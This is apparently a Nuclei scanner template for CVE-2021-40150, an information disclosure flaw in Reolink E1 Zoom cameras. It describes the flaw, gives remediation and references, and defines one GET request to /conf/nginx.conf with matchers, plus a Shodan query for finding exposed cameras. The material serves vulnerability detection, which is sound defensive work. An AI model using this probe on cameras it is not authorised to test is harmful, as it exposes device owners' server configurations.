id: CVE-2021-40150

info:
  name: Reolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Reolink E1 Zoom camera through 3.0.0.716 is susceptible to information disclosure. The web server discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. An attacker with network-level access to the camera can can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially compromising user privacy and security.
  remediation: |
    Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the information disclosure vulnerability (CVE-2021-40150).
  reference:
    - https://dl.packetstormsecurity.net/2206-exploits/reolinke1config-disclose.txt
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40150.txt
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40150
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40150
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40150
    cwe-id: CWE-552
    epss-score: 0.01099
    epss-percentile: 0.82891
    cpe: cpe:2.3:o:reolink:e1_zoom_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reolink
    product: e1_zoom_firmware
    shodan-query: http.title:"Reolink"
  tags: cve2021,cve,reolink,camera,exposure,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/conf/nginx.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "server"
          - "listen"
          - "fastcgi"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202f6a6f1686de8b8b85a4c8c0e8a49bd69f1628bbea7bfd64bdfac2257741b25d022100f6dc5b8e874a47e6c22fa0f1890e646ce7ad62634e7547f215f4c2099198cd43:922c64590222798bb761d5b6d8e72950